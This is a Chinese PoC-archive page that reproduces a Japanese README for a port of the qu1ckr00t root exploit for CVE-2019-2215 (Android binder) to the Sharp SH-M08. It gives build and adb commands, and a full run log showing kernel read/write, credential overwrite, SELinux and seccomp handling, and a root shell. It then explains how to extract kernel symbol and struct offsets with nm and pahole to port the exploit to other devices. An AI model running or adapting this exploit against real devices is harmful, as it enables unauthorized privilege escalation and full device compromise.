POC详情: 1fdee4006d1f7d3b93783b815058225ca339a674

来源
关联漏洞
标题: Android 资源管理错误漏洞 (CVE-2019-2215)
描述:Android是美国谷歌(Google)和开放手持设备联盟(简称OHA)的一套以Linux为基础的开源操作系统。 Android中的binder.c文件存在资源管理错误漏洞。攻击者可利用该漏洞提升权限。
介绍
2019 年 10 月より前のセキュリティパッチが当たった Android 端末で root 権限を取得する概念実証コードの AQUOS sense 2(SH-M08)移植版です。

# 動作環境

以下の OS バージョンで動作を確認しています。他のバージョンや他の機種で動かす場合は「移植方法」の章に従って移植してください。

```
[ro.build.date]: [2019年  3月 20日 水曜日 04:58:03 JST]
[ro.build.description]: [Anasui-user 8.1.0 S3200 01.00.02 release-keys]
[ro.build.display.id]: [01.00.02]
[ro.build.fingerprint]: [SHARP/SH-M08/SH-M08:8.1.0/S3200/01.00.02:user/release-keys]
[ro.build.id]: [S3200]
[ro.build.product]: [Anasui]
```

# ビルド方法

`aarch64-linux-android21-clang -pie poc.c -o poc`

# 一時 root の取得方法

```bash
$ adb push poc /data/local/tmp
$ adb shell

SH-M08:/ $ /data/local/tmp/poc shell
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x2000
PARENT: Finished calling READV
current_ptr == 0xffffffc0617bb800
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
recvmsg() returns 49, expected 49
should have stable kernel R/W now :)
current->mm == 0xffffffc0a8e1f840
current->mm->user_ns == 0xffffff8009e225d8
kernel base is 0xffffff8008280000
&init_task == 0xffffff8009e16000
init_task.cred == 0xffffff8009e23dd0
init->cred
00000000  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 80 35 3e 5a c0 ff ff ff  |.........5>Z....|
00000080  70 25 e2 09 80 ff ff ff d8 25 e2 09 80 ff ff ff  |p%.......%......|
00000090  78 3e e2 09 80 ff ff ff 00 00 00 00 00 00 00 00  |x>..............|
000000a0  00 00 00 00 00 00 00 00 a7 01 00 00 00 00 00 00  |................|
000000b0  e0 ff ff ff 0f 00 00 00 88 3e e2 09 80 ff ff ff  |.........>......|
000000c0  88 3e e2 09 80 ff ff ff 84 c9 0c 08 80 ff ff ff  |.>..............|
current->cred == 0xffffffc0a9b549c0
Starting as uid 2000
current->cred
00000000  19 00 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000010  d0 07 00 00 d0 07 00 00 d0 07 00 00 d0 07 00 00  |................|
00000020  d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000040  c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
00000000  00 00 00 00 00 00 00 00 fe ff ff ff ff ff ff ff  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
init->security_cred
00000000  01 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
current->security_cred
00000000  ee 03 00 00 ee 03 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
Escalating...
UIDs changed to root!
Capabilities set to ALL
SELinux status = 0
SELinux is already in permissive mode
Re-joining the init mount namespace...
Re-joining the init net namespace...
SECCOMP is already disabled!
------------------
00000000  1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000030  ff ff ff ff 3f 00 00 00 ff ff ff ff 3f 00 00 00  |....?.......?...|
00000040  ff ff ff ff 3f 00 00 00 00 00 00 00 00 00 00 00  |....?...........|
00000050  00 00 00 00 00 00 00 00 00 af 0f aa c0 ff ff ff  |................|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00 00 91 bf 36 c0 ff ff ff  |...........6....|
00000080  80 ce db a4 c0 ff ff ff d8 25 e2 09 80 ff ff ff  |.........%......|
00000090  80 14 f8 a4 c0 ff ff ff 00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
000000c0  c0 40 b5 a9 c0 ff ff ff 00 00 00 00 00 00 00 00  |.@..............|
Spawning shell!
SH-M08:/ #
```

# 移植方法

## カーネルのバイナリを入手する

今端末で動いているカーネルを入手します。方法は以下の2つです

1. OTA から抽出
   OTA アップデート内に boot.img や recovery.img があればそこから入手します。現在使っているバージョンと同じファイルであることを確認してください。
   以下のツールを使用して Google OTA を抽出することも可能です。
   https://github.com/mouseos/android-checkin-py.git
   boot.img などからは abootimg で zImage を抽出できます。
   zImage は extract-vmlinux で vmlinux に変換できます。
2. カーネルをビルドする
   公式が公開しているカーネルソースをビルドします。defconfig は完全に今動いているデバイスと同じものを使用してください。可能な限りビルド時にコードをいじってはいけません。
   ビルド完了後 vmlinux が作成されるはずです。

## 必要なオフセットを抜き出す

1. まずは nm コマンドを用いて以下のオフセットを探し出します。

```bash
$ nm -n ./vmlinux | grep ' _head$'
ffffff8008080000 t _head
$ nm -n ./vmlinux | grep ' init_user_ns$'
ffffff8009c225d8 D init_user_ns
$ nm -n ./vmlinux | grep ' init_task$'
ffffff8009c16000 D init_task
$ nm -n ./vmlinux | grep ' init_uts_ns$'
ffffff8009c15dc0 D init_uts_ns
$ nm -n ./vmlinux | grep ' selinux_enforcing$'
ffffff8009de2000 D selinux_enforcing
```

2. 以下の計算式で定数を求めます
   `{各オフセットの値}-{_headの値}`
   例えば上記の場合定数は以下の通りになります

| 定数名                      | オフセット値       | オフセット値-\_head の値 |
| :-------------------------- | :----------------- | :----------------------- |
| SYMBOL\_\_init_user_ns      | 0xffffff8009c225d8 | 0x1BA25D8                |
| SYMBOL\_\_init_task         | 0xffffff8009c16000 | 0x1B96000                |
| SYMBOL\_\_init_uts_ns       | 0xffffff8009c15dc0 | 0x1B95DC0                |
| SYMBOL\_\_selinux_enforcing | 0xffffff8009de2000 | 0x1D62000                |

```c
#define SYMBOL__init_user_ns 0x1BA25D8
#define SYMBOL__init_task 0x1B96000
#define SYMBOL__init_uts_ns 0x1B95DC0

#define SYMBOL__selinux_enforcing 0x1D62000
```

3. 次に構造体のオフセットを pahole コマンドで探し出します

```bash
$ pahole -C task_struct vmlinux | grep -E ' mm;'
        struct mm_struct *         mm;                   /*  1336     8 */
```

1336 を 16 進数にすると 0x538

よって`#define OFFSET__task_struct__mm 0x538`

```bash
$ pahole -C task_struct vmlinux | grep -E ' cred;'
        const struct cred  *       cred;                 /*  1944     8 */
```

1944 を 16 進数にすると 0x798

よって`#define OFFSET__task_struct__cred 0x798`

```bash
$ pahole -C mm_struct vmlinux | grep ' user_ns;'
        struct user_namespace *    user_ns;              /*   752     8 */
```

752 を 16 進数にすると 0x2f0

よって`#define OFFSET__mm_struct__user_ns 0x2F0`

## トラブルシューティング

### pahole: file 'vmlinux' has no supported type information.

```
$ pahole vmlinux
libbpf: failed to find '.BTF' ELF section in vmlinux
pahole: file 'vmlinux' has no supported type information.
```

vmlinux に pahole で解析するために必要な情報が入っていません。この場合は解析不能なため、自分でビルドしたメーカーが公開しているカーネルを使ってください。

### 端末がクラッシュする

どこかのオフセットが誤っています。

### 動かない

セキュリティパッチが 2019 年 10 月以降の OS では動作しません。

# 著作情報

## qu1ckr00t

このコードは Grant H 氏が作成した POC をベースに開発しています
https://github.com/grant-h/qu1ckr00t
文件快照

[4.0K] /data/pocs/1fdee4006d1f7d3b93783b815058225ca339a674 ├── [ 15K] poc.c └── [9.0K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。